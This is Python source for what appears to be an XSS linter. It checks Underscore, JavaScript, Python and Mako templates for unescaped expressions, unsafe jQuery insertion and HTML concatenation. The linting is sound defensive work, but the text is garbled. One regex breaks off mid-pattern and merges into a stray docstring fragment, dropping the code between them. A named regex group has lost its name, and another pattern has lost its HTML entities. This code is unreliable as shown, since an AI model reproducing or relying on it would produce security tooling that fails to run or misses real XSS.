self._uncommented_start_index(template, start_index)\n # loop until we found something useful on an uncommented out line\n while start_index is not None:\n close_char_index = template.find(close_char, start_index)\n if close_char_index < 0:\n # If we can't find a close char, let's just quit.\n return None\n open_char_index = template.find(open_char, start_index, close_char_index)\n parse_string = ParseString(template, start_index, close_char_index)\n\n valid_index_list = [close_char_index]\n if 0 <= open_char_index:\n valid_index_list.append(open_char_index)\n if parse_string.start_index is not None:\n valid_index_list.append(parse_string.start_index)\n min_valid_index = min(valid_index_list)\n\n start_index = self._uncommented_start_index(template, min_valid_index)\n if start_index == min_valid_index:\n break\n\n if start_index is None:\n # No uncommented code to search.\n return None\n\n if parse_string.start_index == min_valid_index:\n strings.append(parse_string)\n if parse_string.end_index is None:\n return None\n else:\n return self._find_closing_char_index(\n start_delim, open_char, close_char, template, start_index=parse_string.end_index,\n num_open_chars=num_open_chars, strings=strings\n )\n\n if open_char_index == min_valid_index:\n if start_delim is not None:\n # if we find another starting delim, consider this unparseable\n start_delim_index = template.find(start_delim, start_index, close_char_index)\n if 0 <= start_delim_index < open_char_index:\n return None\n return self._find_closing_char_index(\n start_delim, open_char, close_char, template, start_index=open_char_index + 1,\n num_open_chars=num_open_chars + 1, strings=strings\n )\n\n if num_open_chars == 0:\n return {\n 'close_char_index': close_char_index,\n 'strings': strings,\n }\n else:\n return self._find_closing_char_index(\n start_delim, open_char, close_char, template, start_index=close_char_index + 1,\n num_open_chars=num_open_chars - 1, strings=strings\n )\n\n def _uncommented_start_index(self, template, start_index):\n \"\"\"\n Finds the first start_index that is on an uncommented line.\n\n Arguments:\n template: The template to be searched.\n start_index: The start index of the last open char.\n\n Returns:\n If start_index is on an uncommented out line, returns start_index.\n Otherwise, returns the start_index of the first line that is\n uncommented, if there is one. Otherwise, returns None.\n \"\"\"\n if self.LINE_COMMENT_DELIM is not None:\n line_start_index = StringLines(template).index_to_line_start_index(start_index)\n uncommented_line_start_index_regex = re.compile(fr\"^(?!\\s*{self.LINE_COMMENT_DELIM})\", re.MULTILINE)\n # Finds the line start index of the first uncommented line, including the current line.\n match = uncommented_line_start_index_regex.search(template, line_start_index)\n if match is None:\n # No uncommented lines.\n return None\n elif match.start() < start_index:\n # Current line is uncommented, so return original start_index.\n return start_index\n else:\n # Return start of first uncommented line.\n return match.start()\n else:\n # No line comment delimeter, so this acts as a no-op.\n return start_index\n\n\nclass UnderscoreTemplateLinter(BaseLinter):\n \"\"\"\n The linter for Underscore.js template files.\n \"\"\"\n\n ruleset = RuleSet(\n underscore_not_escaped='underscore-not-escaped',\n )\n\n def __init__(self, skip_dirs=None):\n \"\"\"\n Init method.\n \"\"\"\n super().__init__()\n self._skip_underscore_dirs = skip_dirs or ()\n\n def process_file(self, directory, file_name):\n \"\"\"\n Process file to determine if it is an Underscore template file and\n if it is safe.\n\n Arguments:\n directory (string): The directory of the file to be checked\n file_name (string): A filename for a potential underscore file\n\n Returns:\n The file results containing any violations.\n\n \"\"\"\n full_path = os.path.normpath(directory + '/' + file_name)\n results = FileResults(full_path)\n\n if not self._is_valid_directory(self._skip_underscore_dirs, directory):\n return results\n\n if not file_name.lower().endswith('.underscore'):\n return results\n\n return self._load_and_check_file_is_safe(full_path, self.check_underscore_file_is_safe, results)\n\n def check_underscore_file_is_safe(self, underscore_template, results):\n \"\"\"\n Checks for violations in an Underscore.js template.\n\n Arguments:\n underscore_template: The contents of the Underscore.js template.\n results: A file results objects to which violations will be added.\n\n \"\"\"\n self._check_underscore_expressions(underscore_template, results)\n results.prepare_results(underscore_template)\n\n def _check_underscore_expressions(self, underscore_template, results):\n \"\"\"\n Searches for Underscore.js expressions that contain violations.\n\n Arguments:\n underscore_template: The contents of the Underscore.js template.\n results: A list of results into which violations will be added.\n\n \"\"\"\n expressions = self._find_unescaped_expressions(underscore_template)\n for expression in expressions:\n if not self._is_safe_unescaped_expression(expression):\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.underscore_not_escaped, expression\n ))\n\n def _is_safe_unescaped_expression(self, expression):\n \"\"\"\n Determines whether an expression is safely escaped, even though it is\n using the expression syntax that doesn't itself escape (i.e. <%= ).\n\n In some cases it is ok to not use the Underscore.js template escape\n (i.e. <%- ) because the escaping is happening inside the expression.\n\n Safe examples::\n\n <%= edx.HtmlUtils.ensureHtml(message) %>\n <%= HtmlUtils.ensureHtml(message) %>\n <%= _.escape(message) %>\n\n Arguments:\n expression: The Expression being checked.\n\n Returns:\n True if the Expression has been safely escaped, and False otherwise.\n\n \"\"\"\n if expression.expression_inner.startswith('edx.HtmlUtils.'):\n return True\n if expression.expression_inner.startswith('HtmlUtils.'):\n return True\n if expression.expression_inner.startswith('_.escape('):\n return True\n return False\n\n def _find_unescaped_expressions(self, underscore_template):\n \"\"\"\n Returns a list of unsafe expressions.\n\n At this time all expressions that are unescaped are considered unsafe.\n\n Arguments:\n underscore_template: The contents of the Underscore.js template.\n\n Returns:\n A list of Expressions.\n \"\"\"\n unescaped_expression_regex = re.compile(\"<%=.*?%>\", re.DOTALL)\n\n expressions = []\n for match in unescaped_expression_regex.finditer(underscore_template):\n expression = Expression(\n match.start(), match.end(), template=underscore_template, start_delim=\"<%=\", end_delim=\"%>\"\n )\n expressions.append(expression)\n return expressions\n\n\nclass JavaScriptLinter(BaseLinter):\n \"\"\"\n The linter for JavaScript files.\n \"\"\"\n\n LINE_COMMENT_DELIM = \"//\"\n\n ruleset = RuleSet(\n javascript_jquery_append='javascript-jquery-append',\n javascript_jquery_prepend='javascript-jquery-prepend',\n javascript_jquery_insertion='javascript-jquery-insertion',\n javascript_jquery_insert_into_target='javascript-jquery-insert-into-target',\n javascript_jquery_html='javascript-jquery-html',\n javascript_concat_html='javascript-concat-html',\n javascript_escape='javascript-escape',\n )\n\n def __init__(self, underscore_linter, javascript_skip_dirs=None):\n \"\"\"\n Init method.\n \"\"\"\n super().__init__()\n self.underscore_linter = underscore_linter\n self.ruleset = self.ruleset + self.underscore_linter.ruleset\n self._skip_javascript_dirs = javascript_skip_dirs or ()\n\n def process_file(self, directory, file_name):\n \"\"\"\n Process file to determine if it is a JavaScript file and\n if it is safe.\n\n Arguments:\n directory (string): The directory of the file to be checked\n file_name (string): A filename for a potential JavaScript file\n\n Returns:\n The file results containing any violations.\n\n \"\"\"\n file_full_path = os.path.normpath(directory + '/' + file_name)\n results = FileResults(file_full_path)\n\n if not results.is_file:\n return results\n\n if file_name.lower().endswith('.js') and not file_name.lower().endswith('.min.js'):\n skip_dirs = self._skip_javascript_dirs\n else:\n return results\n\n if not self._is_valid_directory(skip_dirs, directory):\n return results\n\n return self._load_and_check_file_is_safe(file_full_path, self.check_javascript_file_is_safe, results)\n\n def check_javascript_file_is_safe(self, file_contents, results):\n \"\"\"\n Checks for violations in a JavaScript file.\n\n Arguments:\n file_contents: The contents of the JavaScript file.\n results: A file results objects to which violations will be added.\n\n \"\"\"\n no_caller_check = None\n no_argument_check = None\n self._check_jquery_function(\n file_contents, \"append\", self.ruleset.javascript_jquery_append, no_caller_check,\n self._is_jquery_argument_safe, results\n )\n self._check_jquery_function(\n file_contents, \"prepend\", self.ruleset.javascript_jquery_prepend, no_caller_check,\n self._is_jquery_argument_safe, results\n )\n self._check_jquery_function(\n file_contents, \"unwrap|wrap|wrapAll|wrapInner|after|before|replaceAll|replaceWith\",\n self.ruleset.javascript_jquery_insertion, no_caller_check, self._is_jquery_argument_safe, results\n )\n self._check_jquery_function(\n file_contents, \"appendTo|prependTo|insertAfter|insertBefore\",\n self.ruleset.javascript_jquery_insert_into_target, self._is_jquery_insert_caller_safe, no_argument_check, results\n )\n self._check_jquery_function(\n file_contents, \"html\", self.ruleset.javascript_jquery_html, no_caller_check,\n self._is_jquery_html_argument_safe, results\n )\n self._check_javascript_escape(file_contents, results)\n self._check_concat_with_html(file_contents, self.ruleset.javascript_concat_html, results)\n self.underscore_linter.check_underscore_file_is_safe(file_contents, results)\n results.prepare_results(file_contents, line_comment_delim=self.LINE_COMMENT_DELIM)\n\n def _get_expression_for_function(self, file_contents, function_start_match):\n \"\"\"\n Returns an expression that matches the function call opened with\n function_start_match.\n\n Arguments:\n file_contents: The contents of the JavaScript file.\n function_start_match: A regex match representing the start of the function\n call (e.g. \".escape(\").\n\n Returns:\n An Expression that best matches the function.\n\n \"\"\"\n start_index = function_start_match.start()\n inner_start_index = function_start_match.end()\n result = self._find_closing_char_index(\n None, \"(\", \")\", file_contents, start_index=inner_start_index\n )\n if result is not None:\n end_index = result['close_char_index'] + 1\n expression = Expression(\n start_index, end_index, template=file_contents, start_delim=function_start_match.group(), end_delim=\")\"\n )\n else:\n expression = Expression(start_index)\n return expression\n\n def _check_javascript_escape(self, file_contents, results):\n \"\"\"\n Checks that escape() is not used. escape() is not recommended.\n ref. https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/escape\n\n Arguments:\n file_contents: The contents of the JavaScript file.\n results: A file results objects to which violations will be added.\n\n \"\"\"\n # Regex to match uses of escape() or window.escape().\n regex = re.compile(r\"(?:^|(?<=window\\.)|(?'))\"\n or \".append($('
'))\".\n - the argument can be a call to HtmlUtils.xxx(html).toString()\n\n Arguments:\n argument: The argument sent to the jQuery function (e.g.\n append(argument)).\n\n Returns:\n True if the argument is safe, and False otherwise.\n\n \"\"\"\n match_variable_name = re.search(\"[_$a-zA-Z]+[_$a-zA-Z0-9]*\", argument)\n if match_variable_name is not None and match_variable_name.group() == argument:\n if argument.endswith('El') or argument.startswith('$'):\n return True\n elif argument.startswith('\"') or argument.startswith(\"'\"):\n # a single literal string with no HTML is ok\n # 1. it gets rid of false negatives for non-jquery calls (e.g. graph.append(\"g\"))\n # 2. JQuery will treat this as a plain text string and will escape any & if needed.\n string = ParseString(argument, 0, len(argument))\n if string.string == argument and \"<\" not in argument:\n return True\n elif argument.startswith('$('):\n # match on JQuery calls with single string and single HTML tag\n # Examples:\n # $(\"\")\n # $(\"
\")\n # $(\"
\", {...})\n match = re.search(r\"\"\"\\$\\(\\s*['\"]<[a-zA-Z0-9]+\\s*[/]?>['\"]\\s*[,)]\"\"\", argument)\n if match is not None:\n return True\n elif self._is_jquery_argument_safe_html_utils_call(argument):\n return True\n # check rules that shouldn't use concatenation\n elif \"+\" not in argument:\n if argument.endswith('.el') or argument.endswith('.$el'):\n return True\n return False\n\n def _is_jquery_html_argument_safe(self, argument):\n \"\"\"\n Check the argument sent to the jQuery html() function to check if it is\n safe.\n\n Safe arguments to html():\n - no argument (i.e. getter rather than setter)\n - empty string is safe\n - the argument can be a call to HtmlUtils.xxx(html).toString()\n\n Arguments:\n argument: The argument sent to html() in code (i.e. html(argument)).\n\n Returns:\n True if the argument is safe, and False otherwise.\n\n \"\"\"\n if argument == \"\" or argument == \"''\" or argument == '\"\"':\n return True\n elif self._is_jquery_argument_safe_html_utils_call(argument):\n return True\n return False\n\n def _is_jquery_insert_caller_safe(self, caller_line_start):\n \"\"\"\n Check that the caller of a jQuery DOM insertion function that takes a\n target is safe (e.g. thisEl.appendTo(target)).\n\n If original line was::\n\n draggableObj.iconEl.appendTo(draggableObj.containerEl);\n\n Parameter caller_line_start would be:\n\n draggableObj.iconEl\n\n Safe callers include:\n - the caller can be \".el\", \".$el\"\n - the caller can be a single variable ending in \"El\" or starting with\n \"$\". For example, \"testEl\" or \"$test\".\n\n Arguments:\n caller_line_start: The line leading up to the jQuery function call.\n\n Returns:\n True if the caller is safe, and False otherwise.\n\n \"\"\"\n # matches end of line for caller, which can't itself be a function\n caller_match = re.search(r\"(?:\\s*|[.])([_$a-zA-Z]+[_$a-zA-Z0-9])*$\", caller_line_start)\n if caller_match is None:\n return False\n caller = caller_match.group(1)\n if caller is None:\n return False\n elif caller.endswith('El') or caller.startswith('$'):\n return True\n elif caller == 'el' or caller == 'parentNode':\n return True\n return False\n\n def _check_concat_with_html(self, file_contents, rule, results):\n \"\"\"\n Checks that strings with HTML are not concatenated\n\n Arguments:\n file_contents: The contents of the JavaScript file.\n rule: The rule that was violated if this fails.\n results: A file results objects to which violations will be added.\n\n \"\"\"\n lines = StringLines(file_contents)\n last_expression = None\n # Match quoted strings that starts with '<' or ends with '>'.\n regex_string_with_html = r\"\"\"\n {quote} # Opening quote.\n (\n \\s*< # Starts with '<' (ignoring spaces)\n ([^{quote}]|[\\\\]{quote})* # followed by anything but a closing quote.\n | # Or,\n ([^{quote}]|[\\\\]{quote})* # Anything but a closing quote\n >\\s* # ending with '>' (ignoring spaces)\n )\n {quote} # Closing quote.\n \"\"\"\n # Match single or double quote.\n regex_string_with_html = \"({}|{})\".format(\n regex_string_with_html.format(quote=\"'\"),\n regex_string_with_html.format(quote='\"'),\n )\n # Match quoted HTML strings next to a '+'.\n regex_concat_with_html = re.compile(\n r\"(\\+\\s*{string_with_html}|{string_with_html}\\s*\\+)\".format(\n string_with_html=regex_string_with_html,\n ),\n re.VERBOSE\n )\n for match in regex_concat_with_html.finditer(file_contents):\n found_new_violation = False\n if last_expression is not None:\n last_line = lines.index_to_line_number(last_expression.start_index)\n # check if violation should be expanded to more of the same line\n if last_line == lines.index_to_line_number(match.start()):\n last_expression = Expression(\n last_expression.start_index, match.end(), template=file_contents\n )\n else:\n results.violations.append(ExpressionRuleViolation(\n rule, last_expression\n ))\n found_new_violation = True\n else:\n found_new_violation = True\n if found_new_violation:\n last_expression = Expression(\n match.start(), match.end(), template=file_contents\n )\n\n # add final expression\n if last_expression is not None:\n results.violations.append(ExpressionRuleViolation(\n rule, last_expression\n ))\n\n\nclass PythonLinter(BaseLinter):\n \"\"\"\n The linter for Python files.\n\n The current implementation of the linter does naive Python parsing. It does\n not use the parser. One known issue is that parsing errors found inside a\n docstring need to be disabled, rather than being automatically skipped.\n Skipping docstrings is an enhancement that could be added.\n \"\"\"\n\n LINE_COMMENT_DELIM = \"#\"\n\n ruleset = RuleSet(\n python_parse_error='python-parse-error',\n python_custom_escape='python-custom-escape',\n\n # The Visitor classes are python-specific and should be moved into the PythonLinter once they have\n # been decoupled from the MakoTemplateLinter.\n ) + visitors.ruleset\n\n def __init__(self, skip_dirs=None):\n \"\"\"\n Init method.\n \"\"\"\n super().__init__()\n self._skip_python_dirs = skip_dirs or ()\n\n def process_file(self, directory, file_name):\n \"\"\"\n Process file to determine if it is a Python file and\n if it is safe.\n\n Arguments:\n directory (string): The directory of the file to be checked\n file_name (string): A filename for a potential Python file\n\n Returns:\n The file results containing any violations.\n\n \"\"\"\n file_full_path = os.path.normpath(directory + '/' + file_name)\n results = FileResults(file_full_path)\n\n if not results.is_file:\n return results\n\n if file_name.lower().endswith('.py') is False:\n return results\n\n # skip tests.py files\n # TODO: Add configuration for files and paths\n if file_name.lower().endswith('tests.py'):\n return results\n\n # skip this linter code (i.e. xss_linter.py)\n if file_name == os.path.basename(__file__):\n return results\n\n if not self._is_valid_directory(self._skip_python_dirs, directory):\n return results\n\n return self._load_and_check_file_is_safe(file_full_path, self.check_python_file_is_safe, results)\n\n def check_python_file_is_safe(self, file_contents, results):\n \"\"\"\n Checks for violations in a Python file.\n\n Arguments:\n file_contents: The contents of the Python file.\n results: A file results objects to which violations will be added.\n\n \"\"\"\n root_node = self.parse_python_code(file_contents, results)\n self.check_python_code_is_safe(file_contents, root_node, results)\n # Check rules specific to .py files only\n # Note that in template files, the scope is different, so you can make\n # different assumptions.\n if root_node is not None:\n # check format() rules that can be run on outer-most format() calls\n visitor = visitors.OuterFormatVisitor(file_contents, results)\n visitor.visit(root_node)\n results.prepare_results(file_contents, line_comment_delim=self.LINE_COMMENT_DELIM)\n\n def check_python_code_is_safe(self, python_code, root_node, results):\n \"\"\"\n Checks for violations in Python code snippet. This can also be used for\n Python that appears in files other than .py files, like in templates.\n\n Arguments:\n python_code: The contents of the Python code.\n root_node: The root node of the Python code parsed by AST.\n results: A file results objects to which violations will be added.\n\n \"\"\"\n if root_node is not None:\n # check illegal concatenation and interpolation\n visitor = visitors.AllNodeVisitor(python_code, results)\n visitor.visit(root_node)\n # check rules parse with regex\n self._check_custom_escape(python_code, results)\n\n def parse_python_code(self, python_code, results):\n \"\"\"\n Parses Python code.\n\n Arguments:\n python_code: The Python code to be parsed.\n\n Returns:\n The root node that was parsed, or None for SyntaxError.\n\n \"\"\"\n python_code = self._strip_file_encoding(python_code)\n try:\n return ast.parse(python_code)\n\n except SyntaxError as e:\n if e.offset is None:\n expression = Expression(0)\n else:\n lines = StringLines(python_code)\n line_start_index = lines.line_number_to_start_index(e.lineno)\n expression = Expression(line_start_index + e.offset)\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.python_parse_error, expression\n ))\n return None\n\n def _strip_file_encoding(self, file_contents):\n \"\"\"\n Removes file encoding from file_contents because the file was already\n read into Unicode, and the AST parser complains.\n\n Arguments:\n file_contents: The Python file contents.\n\n Returns:\n The Python file contents with the encoding stripped.\n \"\"\"\n # PEP-263 Provides Regex for Declaring Encoding\n # Example: -*- coding: -*-\n # This is only allowed on the first two lines, and it must be stripped\n # before parsing, because we have already read into Unicode and the\n # AST parser complains.\n encoding_regex = re.compile(r\"^[ \\t\\v]*#.*?coding[:=][ \\t]*([-_.a-zA-Z0-9]+)\")\n encoding_match = encoding_regex.search(file_contents)\n # If encoding comment not found on first line, search second line.\n if encoding_match is None:\n lines = StringLines(file_contents)\n if lines.line_count() >= 2:\n encoding_match = encoding_regex.search(lines.line_number_to_line(2))\n # If encoding was found, strip it\n if encoding_match is not None:\n file_contents = file_contents.replace(encoding_match.group(), '#', 1)\n return file_contents\n\n def _check_custom_escape(self, file_contents, results):\n \"\"\"\n Checks for custom escaping calls, rather than using a standard escaping\n method.\n\n Arguments:\n file_contents: The contents of the Python file\n results: A list of results into which violations will be added.\n\n \"\"\"\n for match in re.finditer(\"(<.*<|<.*<)\", file_contents):\n expression = Expression(match.start(), match.end())\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.python_custom_escape, expression\n ))\n\n\nclass MakoTemplateLinter(BaseLinter):\n \"\"\"\n The linter for Mako template files.\n \"\"\"\n LINE_COMMENT_DELIM = \"##\"\n\n ruleset = RuleSet(\n mako_missing_default='mako-missing-default',\n mako_multiple_page_tags='mako-multiple-page-tags',\n mako_unparseable_expression='mako-unparseable-expression',\n mako_unwanted_html_filter='mako-unwanted-html-filter',\n mako_invalid_html_filter='mako-invalid-html-filter',\n mako_invalid_js_filter='mako-invalid-js-filter',\n mako_js_missing_quotes='mako-js-missing-quotes',\n mako_js_html_string='mako-js-html-string',\n mako_html_entities='mako-html-entities',\n mako_unknown_context='mako-unknown-context',\n\n # NOTE The MakoTemplateLinter directly checks for python_wrap_html and directly\n # instantiates Visitor instances to check for python issues. This logic should\n # be moved into the PythonLinter. The MakoTemplateLinter should only check for\n # Mako-specific issues.\n python_wrap_html='python-wrap-html',\n ) + visitors.ruleset\n\n def __init__(self, javascript_linter, python_linter, skip_dirs=None):\n \"\"\"\n Init method.\n \"\"\"\n super().__init__()\n self.javascript_linter = javascript_linter\n self.python_linter = python_linter\n self.ruleset = self.ruleset + self.javascript_linter.ruleset + self.python_linter.ruleset\n self._skip_mako_dirs = skip_dirs or ()\n\n def process_file(self, directory, file_name):\n \"\"\"\n Process file to determine if it is a Mako template file and\n if it is safe.\n\n Arguments:\n directory (string): The directory of the file to be checked\n file_name (string): A filename for a potential Mako file\n\n Returns:\n The file results containing any violations.\n\n \"\"\"\n mako_file_full_path = os.path.normpath(directory + '/' + file_name)\n results = FileResults(mako_file_full_path)\n\n if not results.is_file:\n return results\n\n if not self._is_valid_directory(directory):\n return results\n\n # TODO: When safe-by-default is turned on at the platform level, will we:\n # 1. Turn it on for .html only, or\n # 2. Turn it on for all files, and have different rulesets that have\n # different rules of .xml, .html, .js, .txt Mako templates (e.g. use\n # the n filter to turn off h for some of these)?\n # For now, we only check .html and .xml files\n if not (file_name.lower().endswith('.html') or file_name.lower().endswith('.xml')):\n return results\n\n return self._load_and_check_file_is_safe(mako_file_full_path, self._check_mako_file_is_safe, results)\n\n def _is_valid_directory(self, directory):\n \"\"\"\n Determines if the provided directory is a directory that could contain\n Mako template files that need to be linted.\n\n Arguments:\n directory: The directory to be linted.\n\n Returns:\n True if this directory should be linted for Mako template violations\n and False otherwise.\n \"\"\"\n if is_skip_dir(self._skip_mako_dirs, directory):\n return False\n\n # TODO: This is an imperfect guess concerning the Mako template\n # directories. This needs to be reviewed before turning on safe by\n # default at the platform level.\n if ('/templates/' in directory) or directory.endswith('/templates'):\n return True\n\n return False\n\n def _check_mako_file_is_safe(self, mako_template, results):\n \"\"\"\n Checks for violations in a Mako template.\n\n Arguments:\n mako_template: The contents of the Mako template.\n results: A file results objects to which violations will be added.\n\n \"\"\"\n if self._is_django_template(mako_template):\n return\n has_page_default = self._has_page_default(mako_template, results)\n self._check_mako_expressions(mako_template, has_page_default, results)\n self._check_mako_python_blocks(mako_template, has_page_default, results)\n results.prepare_results(mako_template, line_comment_delim=self.LINE_COMMENT_DELIM)\n\n def _is_django_template(self, mako_template):\n \"\"\"\n Determines if the template is actually a Django template.\n\n Arguments:\n mako_template: The template code.\n\n Returns:\n True if this is really a Django template, and False otherwise.\n\n \"\"\"\n if re.search('({%.*%})|({{.*}})|({#.*#})', mako_template) is not None:\n return True\n return False\n\n def _get_page_tag_count(self, mako_template):\n \"\"\"\n Determines the number of page expressions in the Mako template. Ignores\n page expressions that are commented out.\n\n Arguments:\n mako_template: The contents of the Mako template.\n\n Returns:\n The number of page expressions\n \"\"\"\n count = len(re.findall('<%page ', mako_template, re.IGNORECASE))\n count_commented = len(re.findall(r'##\\s+<%page ', mako_template, re.IGNORECASE))\n return max(0, count - count_commented)\n\n def _has_page_default(self, mako_template, results):\n \"\"\"\n Checks if the Mako template contains the page expression marking it as\n safe by default.\n\n Arguments:\n mako_template: The contents of the Mako template.\n results: A list of results into which violations will be added.\n\n Side effect:\n Adds violations regarding page default if necessary\n\n Returns:\n True if the template has the page default, and False otherwise.\n\n \"\"\"\n page_tag_count = self._get_page_tag_count(mako_template)\n # check if there are too many page expressions\n if 2 <= page_tag_count:\n results.violations.append(RuleViolation(self.ruleset.mako_multiple_page_tags))\n return False\n # make sure there is exactly 1 page expression, excluding commented out\n # page expressions, before proceeding\n elif page_tag_count != 1:\n results.violations.append(RuleViolation(self.ruleset.mako_missing_default))\n return False\n # check that safe by default (h filter) is turned on\n page_h_filter_regex = re.compile('<%page[^>]*expression_filter=(?:\"h\"|\\'h\\')[^>]*/>')\n page_match = page_h_filter_regex.search(mako_template)\n if not page_match:\n results.violations.append(RuleViolation(self.ruleset.mako_missing_default))\n return page_match\n\n def _check_mako_expressions(self, mako_template, has_page_default, results):\n \"\"\"\n Searches for Mako expressions and then checks if they contain\n violations, including checking JavaScript contexts for JavaScript\n violations.\n\n Arguments:\n mako_template: The contents of the Mako template.\n has_page_default: True if the page is marked as default, False\n otherwise.\n results: A list of results into which violations will be added.\n\n \"\"\"\n expressions = self._find_mako_expressions(mako_template)\n contexts = self._get_contexts(mako_template)\n self._check_javascript_contexts(mako_template, contexts, results)\n for expression in expressions:\n if expression.end_index is None:\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_unparseable_expression, expression\n ))\n continue\n\n context = self._get_context(contexts, expression.start_index)\n self._check_expression_and_filters(mako_template, expression, context, has_page_default, results)\n\n def _check_javascript_contexts(self, mako_template, contexts, results):\n \"\"\"\n Lint the JavaScript contexts for JavaScript violations inside a Mako\n template.\n\n Arguments:\n mako_template: The contents of the Mako template.\n contexts: A list of context dicts with 'type' and 'index'.\n results: A list of results into which violations will be added.\n\n Side effect:\n Adds JavaScript violations to results.\n \"\"\"\n javascript_start_index = None\n for context in contexts:\n if context['type'] == 'javascript':\n if javascript_start_index is None:\n javascript_start_index = context['index']\n else:\n if javascript_start_index is not None:\n javascript_end_index = context['index']\n javascript_code = mako_template[javascript_start_index:javascript_end_index]\n self._check_javascript_context(javascript_code, javascript_start_index, results)\n javascript_start_index = None\n if javascript_start_index is not None:\n javascript_code = mako_template[javascript_start_index:]\n self._check_javascript_context(javascript_code, javascript_start_index, results)\n\n def _check_javascript_context(self, javascript_code, start_offset, results):\n \"\"\"\n Lint a single JavaScript context for JavaScript violations inside a Mako\n template.\n\n Arguments:\n javascript_code: The template contents of the JavaScript context.\n start_offset: The offset of the JavaScript context inside the\n original Mako template.\n results: A list of results into which violations will be added.\n\n Side effect:\n Adds JavaScript violations to results.\n\n \"\"\"\n javascript_results = FileResults(\"\")\n self.javascript_linter.check_javascript_file_is_safe(javascript_code, javascript_results)\n self._shift_and_add_violations(javascript_results, start_offset, results)\n\n def _check_mako_python_blocks(self, mako_template, has_page_default, results):\n \"\"\"\n Searches for Mako python blocks and checks if they contain\n violations.\n\n Arguments:\n mako_template: The contents of the Mako template.\n has_page_default: True if the page is marked as default, False\n otherwise.\n results: A list of results into which violations will be added.\n\n \"\"\"\n # Finds Python blocks such as <% ... %>, skipping other Mako start tags\n # such as <%def> and <%page>.\n python_block_regex = re.compile(r'<%\\s(?P.*?)%>', re.DOTALL)\n\n for python_block_match in python_block_regex.finditer(mako_template):\n self._check_expression_python(\n python_code=python_block_match.group('code'),\n start_offset=(python_block_match.start() + len('<% ')),\n has_page_default=has_page_default,\n results=results\n )\n\n def _check_expression_python(self, python_code, start_offset, has_page_default, results):\n \"\"\"\n Lint the Python inside a single Python expression in a Mako template.\n\n Arguments:\n python_code: The Python contents of an expression.\n start_offset: The offset of the Python content inside the original\n Mako template.\n has_page_default: True if the page is marked as default, False\n otherwise.\n results: A list of results into which violations will be added.\n\n Side effect:\n Adds Python violations to results.\n\n \"\"\"\n python_results = FileResults(\"\")\n\n # Dedent expression internals so it is parseable.\n # Note that the final columns reported could be off somewhat.\n adjusted_python_code = textwrap.dedent(python_code)\n first_letter_match = re.search(r'\\w', python_code)\n adjusted_first_letter_match = re.search(r'\\w', adjusted_python_code)\n if first_letter_match is not None and adjusted_first_letter_match is not None:\n start_offset += (first_letter_match.start() - adjusted_first_letter_match.start())\n python_code = adjusted_python_code\n\n root_node = self.python_linter.parse_python_code(python_code, python_results)\n self.python_linter.check_python_code_is_safe(python_code, root_node, python_results)\n # Check mako expression specific Python rules.\n if root_node is not None:\n visitor = visitors.HtmlStringVisitor(python_code, python_results, True)\n visitor.visit(root_node)\n for unsafe_html_string_node in visitor.unsafe_html_string_nodes:\n python_results.violations.append(ExpressionRuleViolation(\n self.ruleset.python_wrap_html, visitor.node_to_expression(unsafe_html_string_node)\n ))\n if has_page_default:\n for over_escaped_entity_string_node in visitor.over_escaped_entity_string_nodes:\n python_results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_html_entities, visitor.node_to_expression(over_escaped_entity_string_node)\n ))\n python_results.prepare_results(python_code, line_comment_delim=self.LINE_COMMENT_DELIM)\n self._shift_and_add_violations(python_results, start_offset, results)\n\n def _shift_and_add_violations(self, other_linter_results, start_offset, results):\n \"\"\"\n Adds results from a different linter to the Mako results, after shifting\n the offset into the original Mako template.\n\n Arguments:\n other_linter_results: Results from another linter.\n start_offset: The offset of the linted code, a part of the template,\n inside the original Mako template.\n results: A list of results into which violations will be added.\n\n Side effect:\n Adds violations to results.\n\n \"\"\"\n # translate the violations into the proper location within the original\n # Mako template\n for violation in other_linter_results.violations:\n expression = violation.expression\n expression.start_index += start_offset\n if expression.end_index is not None:\n expression.end_index += start_offset\n results.violations.append(ExpressionRuleViolation(violation.rule, expression))\n\n def _check_expression_and_filters(self, mako_template, expression, context, has_page_default, results):\n \"\"\"\n Checks that the filters used in the given Mako expression are valid\n for the given context. Adds violation to results if there is a problem.\n\n Arguments:\n mako_template: The contents of the Mako template.\n expression: A Mako Expression.\n context: The context of the page in which the expression was found\n (e.g. javascript, html).\n has_page_default: True if the page is marked as default, False\n otherwise.\n results: A list of results into which violations will be added.\n\n \"\"\"\n if context == 'unknown':\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_unknown_context, expression\n ))\n return\n\n # Example: finds \"| n, h}\" when given \"${x | n, h}\"\n filters_regex = re.compile(r'\\|([.,\\w\\s]*)\\}')\n filters_match = filters_regex.search(expression.expression)\n\n # Check Python code inside expression.\n if filters_match is None:\n python_code = expression.expression[2:-1]\n else:\n python_code = expression.expression[2:filters_match.start()]\n self._check_expression_python(python_code, expression.start_index + 2, has_page_default, results)\n\n # Check filters.\n if filters_match is None:\n if context == 'javascript':\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_invalid_js_filter, expression\n ))\n return\n filters = filters_match.group(1).replace(\" \", \"\").split(\",\")\n if filters == ['n', 'decode.utf8']:\n # {x | n, decode.utf8} is valid in any context\n pass\n elif context == 'html':\n if filters == ['h']:\n if has_page_default:\n # suppress this violation if the page default hasn't been set,\n # otherwise the template might get less safe\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_unwanted_html_filter, expression\n ))\n elif filters == ['n', 'strip_all_tags_but_br']:\n # {x | n, strip_all_tags_but_br} is valid in html context\n pass\n else:\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_invalid_html_filter, expression\n ))\n elif context == 'javascript':\n self._check_js_expression_not_with_html(mako_template, expression, results)\n if filters == ['n', 'dump_js_escaped_json']:\n # {x | n, dump_js_escaped_json} is valid\n pass\n elif filters == ['n', 'js_escaped_string']:\n # {x | n, js_escaped_string} is valid, if surrounded by quotes\n self._check_js_string_expression_in_quotes(mako_template, expression, results)\n else:\n results.violations.append(ExpressionRuleViolation(\n self.ruleset.mako_invalid_js_filter, expression\n ))\n\n def _check_js_string_expression_in_quotes(self, mako_template, expression, results):\n \"\"\"\n Checks that a Mako expression using js_escaped_string is surrounded by\n quotes.\n\n Arguments:\n mako_template: The contents of the Mako template.\n expression: A Mako Expression.\n results: A list of results into which violations will be added.\n \"\"\"\n 